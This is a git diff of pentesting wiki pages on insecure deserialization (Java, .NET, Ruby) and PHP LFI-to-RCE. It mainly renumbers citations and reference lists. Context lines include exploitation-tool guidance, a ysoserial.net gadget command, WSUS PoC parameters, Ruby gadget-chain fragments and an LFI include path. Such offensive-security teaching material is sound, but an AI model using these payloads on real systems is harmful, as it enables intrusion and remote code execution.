Java Deserialization Scanner is focused on **`ObjectInputStream`** deserializations.
You can also use [**Freddy**](https://github.com/nccgroup/freddy) to **detect deserializations** vulnerabilities in **Burp**. This plugin will detect **not only `ObjectInputStream`** related vulnerabilities but **also** vulns from **Json** an **Yml** deserialization libraries. In active mode, it will try to confirm them using sleep or DNS payloads.\
-[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)
+[**You can find more information about Freddy here.**](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer/)[[50]](#references)
**Serialization Test**
@@ -547,7 +547,7 @@ If you find a java serialized object being sent to a web application, **you can
#### **ysoserial**
-The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).\
+The main tool to exploit Java deserializations is [**ysoserial**](https://github.com/frohoff/ysoserial) ([**download here**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar)). You can also consider using [**ysoseral-modified**](https://github.com/pimps/ysoserial-modified) which will allow you to use complex commands (with pipes for example).[[16]](#references)[[17]](#references)\
Note that this tool is **focused** on exploiting **`ObjectInputStream`**.\
I would **start using the "URLDNS"** payload **before a RCE** payload to test if the injection is possible. Anyway, note that maybe the "URLDNS" payload is not working but other RCE payload is.
@@ -623,11 +623,11 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
#### serialkillerbypassgadgets
-You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+You can **use** [**https://github.com/pwntester/SerialKillerBypassGadgetCollection**](https://github.com/pwntester/SerialKillerBypassGadgetCollection) **along with ysoserial to create more exploits**. More information about this tool in the **slides of the talk** where the tool was presented: [https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)[[51]](#references)
#### marshalsec
-[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.\
+[**marshalsec** ](https://github.com/mbechler/marshalsec)can be used to generate payloads to exploit different **Json** and **Yml** serialization libraries in Java.[[18]](#references)\
In order to compile the project I needed to **add** this **dependencies** to `pom.xml`:
```html
@@ -654,12 +654,12 @@ mvn clean package -DskipTests
#### FastJSON
-Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
+Read more about this Java JSON library: [https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)[[52]](#references)
### Labs
- If you want to test some ysoserial payloads you can **run this webapp**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
-- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
+- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)[[19]](#references)[[20]](#references)[[21]](#references)[[22]](#references)
### Why
@@ -754,7 +754,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
- **NotSoSerial** intercepts deserialization processes to prevent execution of untrusted code.
- **jdeserialize** allows for the analysis of serialized Java objects without deserializing them, helping identify potentially malicious content.
-- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.
+- **Kryo** is an alternative serialization framework that emphasizes speed and efficiency, offering configurable serialization strategies that can enhance security.[[24]](#references)
## JNDI Injection & log4Shell
@@ -771,11 +771,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
### Products
-There are several products using this middleware to send messages:
+There are several products using this middleware to send messages:[[25]](#references)
-.png>)
+.png>)[[25]](#references)
-.png>)
+.png>)[[25]](#references)
### Exploitation
@@ -784,11 +784,11 @@ This means that in this exploitation all the **clients that are going to use tha
You should remember that even if a service is vulnerable (because it's insecurely deserializing user input) you still need to find valid gadgets to exploit the vulnerability.
-The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.
+The tool [JMET](https://github.com/matthiaskaiser/jmet) was created to **connect and attack this services sending several malicious objects serialized using known gadgets**. These exploits will work if the service is still vulnerable and if any of the used gadgets is inside the vulnerable application.[[26]](#references)
## .Net
-In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.
+In the context of .Net, deserialization exploits operate in a manner akin to those found in Java, where gadgets are exploited to run specific code during the deserialization of an object.[[27]](#references)[[28]](#references)
### Fingerprint
@@ -887,7 +887,7 @@ Take a look to [this POST about **how to try to exploit the \_\_ViewState parame
- Affected endpoints:
- `/SimpleAuthWebService/SimpleAuth.asmx` → GetCookie() AuthorizationCookie decrypted then deserialized with BinaryFormatter.
- `/ReportingWebService.asmx` → ReportEventBatch and related SOAP ops that reach SoapFormatter sinks; base64 gadget is processed when the WSUS console ingests the event.
-- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).[[36]](#references)
+- Root cause: attacker‑controlled bytes reach legacy .NET formatters (BinaryFormatter/SoapFormatter) without strict allow‑lists/binders, so gadget chains execute as the WSUS service account (often SYSTEM).[[29]](#references)
Minimal exploitation (Reporting path):
1) Generate a .NET gadget with ysoserial.net (BinaryFormatter or SoapFormatter) and output base64, for example:
@@ -906,7 +906,7 @@ ysoserial.exe -g TypeConfuseDelegate -f SoapFormatter -o base64 -c "calc.exe"
AuthorizationCookie / GetCookie()
- A forged AuthorizationCookie can be accepted, decrypted, and passed to a BinaryFormatter sink, enabling pre‑auth RCE if reachable.
-Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:[[37]](#references)
+Public PoC (tecxx/CVE-2025-59287-WSUS) parameters:[[30]](#references)
```powershell
$lhost = "192.168.49.51"
@@ -918,9 +918,9 @@ See [Windows Local Privilege Escalation – WSUS](../../windows-hardening/window
### Prevention
-To mitigate the risks associated with deserialization in .Net:
+To mitigate the risks associated with deserialization in .Net:[[23]](#references)
-- **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.
+- **Avoid allowing data streams to define their object types.** Utilize `DataContractSerializer` or `XmlSerializer` when possible.[[41]](#references)
- **For `JSON.Net`, set `TypeNameHandling` to `None`:** `TypeNameHandling = TypeNameHandling.None`
- **Avoid using `JavaScriptSerializer` with a `JavaScriptTypeResolver`.**
- **Limit the types that can be deserialized**, understanding the inherent risks with .Net types, such as `System.IO.FileInfo`, which can modify server files' properties, potentially leading to denial of service attacks.
@@ -934,14 +934,14 @@ To mitigate the risks associated with deserialization in .Net:
In Ruby, serialization is facilitated by two methods within the **marshal** library. The first method, known as **dump**, is used to transform an object into a byte stream. This process is referred to as serialization. Conversely, the second method, **load**, is employed to revert a byte stream back into an object, a process known as deserialization.
-For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:
+For securing serialized objects, **Ruby employs HMAC (Hash-Based Message Authentication Code)**, ensuring the integrity and authenticity of the data. The key utilized for this purpose is stored in one of several possible locations:[[43]](#references)
- `config/environment.rb`
- `config/initializers/secret_token.rb`
- `config/secrets.yml`
- `/proc/self/environ`
-**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:[[22]](#references)
+**Ruby 2.X generic deserialization to RCE gadget chain (more info in** [**https://www.elttam.com/blog/ruby-deserialization/**](https://www.elttam.com/blog/ruby-deserialization/)**)**:[[36]](#references)
```ruby
#!/usr/bin/env ruby
@@ -1014,11 +1014,11 @@ puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
```
-Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
+Other RCE chain to exploit Ruby On Rails: [https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)[[31]](#references)
### Ruby .send() method
-As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if some user unsanitized input reaches the `.send()` method of a ruby object, this method allows to **invoke any other method** of the object with any parameters.[[42]](#references)
+As explained in [**this vulnerability report**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/), if some user unsanitized input reaches the `.send()` method of a ruby object, this method allows to **invoke any other method** of the object with any parameters.[[32]](#references)
For example, calling eval and then ruby code as second parameter will allow to execute arbitrary code:
@@ -1063,7 +1063,7 @@ Check more information in the [Ruby _json pollution page](ruby-_json-pollution.m
### Other libraries
-This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[43]](#references)
+This technique was taken[ **from this blog post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references)
There are other Ruby libraries that can be used to serialize objects and therefore that could be abused to gain RCE during an insecure deserialization. The following table shows some of these libraries and the method they called of the loaded library whenever it's unserialized (function to abuse to get RCE basically):
@@ -1131,11 +1131,11 @@ Moreover, it was found that with the previous technique a folder is also created
}
```
-Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[43]](#references)
+Check for more details in the [**original post**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared).[[33]](#references)
### Bootstrap Caching
-Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).[[44]](#references)
+Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete [original post in here](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)).[[34]](#references)
Below is a short summary of the steps detailed in the article for exploiting an arbitrary file write vulnerability by abusing Bootsnap caching:
@@ -1172,10 +1172,10 @@ Using the arbitrary file write vulnerability, the attacker writes the crafted ca
### Ruby Marshal exploitation in practice (updated)
-Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
+Treat any path where untrusted bytes reach `Marshal.load`/`marshal_load` as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.[[35]](#references)
-- Minimal vulnerable Rails code path:
+- Minimal vulnerable Rails code path:[[44]](#references)
```ruby
@@ -1192,7 +1192,7 @@ class UserRestoreController < ApplicationController
end
```
-- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.
+- Common gadget classes seen in real chains: `Gem::SpecFetcher`, `Gem::Version`, `Gem::RequestSet::Lockfile`, `Gem::Resolver::GitSpecification`, `Gem::Source::Git`.[[37]](#references)[[46]](#references)
- Typical side-effect marker embedded in payloads (executed during unmarshal):
```
@@ -1200,61 +1200,69 @@ end
```
Where it surfaces in real apps:
-- Rails cache stores and session stores historically using Marshal
+- Rails cache stores and session stores historically using Marshal[[42]](#references)
- Background job backends and file-backed object stores
- Any custom persistence or transport of binary object blobs
Industrialized gadget discovery:
-- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal
-- Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets[[27]](#references)
-- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)[[28]](#references)
+- Grep for constructors, `hash`, `_load`, `init_with`, or side-effectful methods invoked during unmarshal[[38]](#references)
+- Use CodeQL’s Ruby unsafe deserialization queries to trace sources → sinks and surface gadgets[[39]](#references)
+- Validate with public multi-format PoCs (JSON/XML/YAML/Marshal)[[40]](#references)[[45]](#references)
## References
-- [1] [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
-- [2] [AppSecCali - Marshalling Pickles (deserialization and ysoserial talk)](http://frohoff.github.io/appseccali-marshalling-pickles/)
-- [3] [FoxgloveSecurity - What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common?](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
-- [4] [Deserialization talk (video)](https://www.youtube.com/watch?v=VviY3O-euVQ)
-- [5] [Talk about gadgetinspector (video)](https://www.youtube.com/watch?v=wPbW6zQ52w8)
-- [6] [Automated Discovery of Deserialization Gadget Chains (slides)](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
-- [7] [Marshalsec paper](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
-- [8] [DZone - Why Runtime Compartmentalization Is the Most Comprehensive...](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
-- [9] [Blind Java Deserialization - Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
-- [10] [Blind Java Deserialization - Part II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
-- [11] [Friday the 13th JSON Attacks (paper)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
-- [12] [Friday the 13th JSON Attacks (talk video)](https://www.youtube.com/watch?v=oUAeWhW5b8c)
-- [13] [Friday the 13th JSON Attacks (slides)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
-- [14] [Deserialization CVEs (Seebug)](https://paper.seebug.org/123/)
-- [15] [Patchstack advisory - Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
-- [16] [JMET talk (video)](https://www.youtube.com/watch?v=0h8DWiOWGGA)
-- [17] [Pwning Your Java Messaging With Deserialization Vulnerabilities (slides)](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
-- [18] [OWASP Deserialization Cheat Sheet - .NET/C#](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
-- [19] [Are You My Type? (Forshaw, BlackHat US-12)](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
-- [20] [Dangerous Contents - Securing .Net Deserialization (slides)](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
-- [21] [Trail of Bits - Marshal madness: A brief history of Ruby deserialization exploits](https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/)
-- [22] [elttam - Ruby 2.x Universal RCE Deserialization Gadget Chain](https://www.elttam.com/blog/ruby-deserialization/)
-- [23] [Phrack #69 - Rails 3/4 Marshal chain](https://phrack.org/issues/69/12.html)
-- [24] [CVE-2019-5420 (Rails 5.2 insecure deserialization)](https://nvd.nist.gov/vuln/detail/CVE-2019-5420)
-- [25] [ZDI - RCE via Ruby on Rails Active Storage insecure deserialization](https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization)
-- [26] [Include Security - Discovering gadget chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/)
-- [27] [GitHub Security Lab - Ruby unsafe deserialization (query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/)
-- [28] [GitHub Security Lab - PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization)
-- [29] [Doyensec PR - Ruby 3.4 gadget](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1)
-- [30] [Luke Jahnke - Ruby 3.4 universal chain](https://nastystereo.com/security/ruby-3.4-deserialization.html)
-- [31] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html)
-- [32] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1)
-- [33] [Ruby fix PR #12444](https://github.com/ruby/ruby/pull/12444)
-- [34] [Trail of Bits - Auditing RubyGems.org (Marshal findings)](https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/)
-- [35] [watchTowr Labs - Is This Bad? This Feels Bad - GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
-- [36] [OffSec - CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/)
-- [37] [PoC - tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
-- [38] [RSC Report Lab - CVE-2025-55182 (React 19.2.0)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
-- [39] [OpsecX - Exploiting Node.js deserialization bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
-- [40] [Acunetix - Deserialization vulnerabilities: attacking deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
-- [41] [HackerOne report #350418 (Cryo)](https://hackerone.com/reports/350418)
-- [42] [STAR Labs - Sending myself GitHub.com environment variables and GHES shell (Ruby .send)](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)
-- [43] [GitHub Blog - Execute commands by sending JSON: unsafe deserialization in Ruby](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/)
-- [44] [Conviso - From arbitrary file write to RCE in restricted Rails apps](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)
+- [1] [NotSoSecure – Remote Code Execution via PHP unserialize()](https://www.notsosecure.com/remote-code-execution-via-php-unserialize/)
+- [2] [Exploit-DB – Deserialization Vulnerability (PDF)](https://www.exploit-db.com/docs/english/44756-deserialization-vulnerability.pdf)
+- [3] [SecurityCafe – Understanding PHP Object Injection](https://securitycafe.ro/2015/01/05/understanding-php-object-injection/)
+- [4] [Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)](https://patchstack.com/articles/critical-vulnerability-impacting-over-100k-sites-patched-in-everest-forms-plugin/)
+- [5] [Huli's Blog – Google CTF 2022 Horkos Writeup](https://blog.huli.tw/2022/07/11/en/googlectf-2022-horkos-writeup/)
+- [6] [OPSECX – Exploiting Node.js Deserialization Bug for Remote Code Execution](https://opsecx.com/index.php/2017/02/08/exploiting-node-js-deserialization-bug-for-remote-code-execution/)
+- [7] [Acunetix – Deserialization Vulnerabilities: Attacking Deserialization in JS](https://www.acunetix.com/blog/web-security-zone/deserialization-vulnerabilities-attacking-deserialization-in-js/)
+- [8] [HackerOne Report #350418 – Cryo library RCE](https://hackerone.com/reports/350418)
+- [9] [RSC Vuln Lab – CVE-2025-55182 (React 19.2.0 Server Actions)](https://github.com/ghe770mvp/RSC_Vuln_Lab)
+- [10] [watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035](https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/)
+- [11] [Foxglove Security – What Do WebLogic, WebSphere, JBoss, Jenkins, OpenNMS, and Your Application Have in Common? This Vulnerability](https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/)
+- [12] [GadgetInspector talk](https://www.youtube.com/watch?v=wPbW6zQ52w8)
+- [13] [BlackHat – Automated Discovery of Deserialization Gadget Chains (slides)](https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf)
+- [14] [deadcode.me – Blind Java Deserialization: Commons Gadgets](https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html)
+- [15] [deadcode.me – Blind Java Deserialization Part II](https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html)
+- [16] [AppSecCali – Marshalling Pickles (Java deserialization talk)](http://frohoff.github.io/appseccali-marshalling-pickles/)
+- [17] [YouTube – Java deserialization exploitation talk](https://www.youtube.com/watch?v=VviY3O-euVQ)
+- [18] [marshalsec paper](https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true)
+- [19] [BlackHat – Friday the 13th: JSON Attacks (paper)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)
+- [20] [BlackHat – Friday the 13th: JSON Attacks (talk)](https://www.youtube.com/watch?v=oUAeWhW5b8c)
+- [21] [BlackHat – Friday the 13th: JSON Attacks (slides)](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
+- [22] [Seebug Paper – Deserialization CVEs](https://paper.seebug.org/123/)
+- [23] [OWASP Deserialization Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html)
+- [24] [DZone – Why Runtime Compartmentalization Is the Most Comprehensive Mitigation](https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr)
+- [25] [BlackHat – Pwning Your Java Messaging With Deserialization Vulnerabilities (slides)](https://www.blackhat.com/docs/us-16/materials/us-16-Kaiser-Pwning-Your-Java-Messaging-With-Deserialization-Vulnerabilities.pdf)
+- [26] [JMET talk](https://www.youtube.com/watch?v=0h8DWiOWGGA)
+- [27] [Forshaw – Are You My Type? (BlackHat 2012 paper)](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
+- [28] [SlideShare – Dangerous Contents: Securing .Net Deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
+- [29] [OffSec – CVE-2025-59287 WSUS unsafe deserialization (blog)](https://www.offsec.com/blog/recent-vulnerabilities-in-redis-servers-lua-scripting-engine-2/)
+- [30] [PoC – tecxx/CVE-2025-59287-WSUS](https://github.com/tecxx/CVE-2025-59287-WSUS)
+- [31] [CodeClimate – Rails Remote Code Execution Vulnerability Explained](https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/)
+- [32] [StarLabs – Sending Myself GitHub.com Environment Variables and GHES Shell](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)
+- [33] [GitHub Blog – Execute Commands by Sending JSON: Learn How Unsafe Deserialization Vulnerabilities Work in Ruby Projects](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/)
+- [34] [Conviso AppSec – From Arbitrary File Write to RCE in Restricted Rails Apps](https://blog.convisoappsec.com/en/from-arbitrary-file-write-to-rce-in-restricted-rails-apps/)
+- [35] [Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits](https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/)
+- [36] [elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain](https://www.elttam.com/blog/ruby-deserialization/)
+- [37] [Trail of Bits – Auditing RubyGems.org (Marshal findings)](https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/)
+- [38] [Include Security – Discovering Deserialization Gadget Chains in Rubyland](https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/)
+- [39] [GitHub Security Lab – Ruby Unsafe Deserialization (CodeQL query help)](https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/)
+- [40] [GitHub Security Lab – Ruby Unsafe Deserialization PoCs repo](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization)
+- [41] [OWASP Deserialization Cheat Sheet - .NET/C#](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
+- [42] [Phrack #69 - Rails 3/4 Marshal chain](https://phrack.org/issues/69/12.html)
+- [43] [CVE-2019-5420 (Rails 5.2 insecure deserialization)](https://nvd.nist.gov/vuln/detail/CVE-2019-5420)
+- [44] [ZDI - RCE via Ruby on Rails Active Storage insecure deserialization](https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization)
+- [45] [Doyensec PR - Ruby 3.4 gadget](https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1)
+- [46] [Luke Jahnke - Ruby 3.4 universal chain](https://nastystereo.com/security/ruby-3.4-deserialization.html)
+- [47] [Luke Jahnke - Gem::SafeMarshal escape](https://nastystereo.com/security/ruby-safe-marshal-escape.html)
+- [48] [Ruby 3.4.0-rc1 release](https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1)
+- [49] [Ruby fix PR #12444](https://github.com/ruby/ruby/pull/12444)
+- [50] [nccgroup.com - You can find more information about Freddy here](https://www.nccgroup.com/us/about-us/newsroom-and-events/blog/2018/june/finding-deserialisation-issues-has-never-been-easier-freddy-the-serialisation-killer)
+- [51] [es.slideshare.net - Java Deserialization Vulnerabilities The Forgotten Bug Class](https://es.slideshare.net/codewhitesec/java-deserialization-vulnerabilities-the-forgotten-bug-class?next_slideshow=1)
+- [52] [alphabot.com - Fastjson Exceptional Deserialization Vulnerabilities](https://www.alphabot.com/security/blog/2020/java/Fastjson-exceptional-deserialization-vulnerabilities.html)
{{#include ../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
index d487bdb1e84..7a6802c0cc6 100644
--- a/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
+++ b/src/pentesting-web/file-inclusion/lfi2rce-via-temp-file-uploads.md
@@ -2,7 +2,7 @@
{{#include ../../banners/hacktricks-training.md}}
-**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**
+**Check the full details of this technique in [https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)**[[1]](#references)
## **PHP File uploads**
@@ -15,13 +15,13 @@ The challenge for unauthorized access lies in predicting the temporary file's na
### Exploitation on Windows Systems
-On Windows, PHP generates temporary file names using the `GetTempFileName` function, resulting in a pattern like `\
.TMP`.[[1]](#references) Notably:
+On Windows, PHP generates temporary file names using the `GetTempFileName` function, resulting in a pattern like `\
.TMP`. Notably:
- The default path is typically `C:\Windows\Temp`.
- The prefix is usually "php".
- The `` represents a unique hexadecimal value. Crucially, due to the function's limitation, only the lower 16 bits are used, allowing for a maximum of 65,535 unique names with constant path and prefix, making brute force feasible.
-Moreover, the exploitation process is simplified on Windows systems. A peculiarity in the `FindFirstFile` function permits the use of wildcards in Local File Inclusion (LFI) paths. This enables crafting an include path like the following to locate the temporary file:[[1]](#references)
+Moreover, the exploitation process is simplified on Windows systems. A peculiarity in the `FindFirstFile` function permits the use of wildcards in Local File Inclusion (LFI) paths. This enables crafting an include path like the following to locate the temporary file:
```
http://site/vuln.php?inc=c:\windows\temp\php<<
@@ -35,9 +35,6 @@ For GNU/Linux systems, the randomness in temporary file naming is robust, render
## References
-- [1] [PHP LFI with temporary files (RFC 1867) – Gynvael Coldwind](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)
+- [1] [PHP LFI rfc1867 file upload temporary files (gynvael.coldwind.pl)](https://gynvael.coldwind.pl/download.php?f=PHP_LFI_rfc1867_temporary_files.pdf)
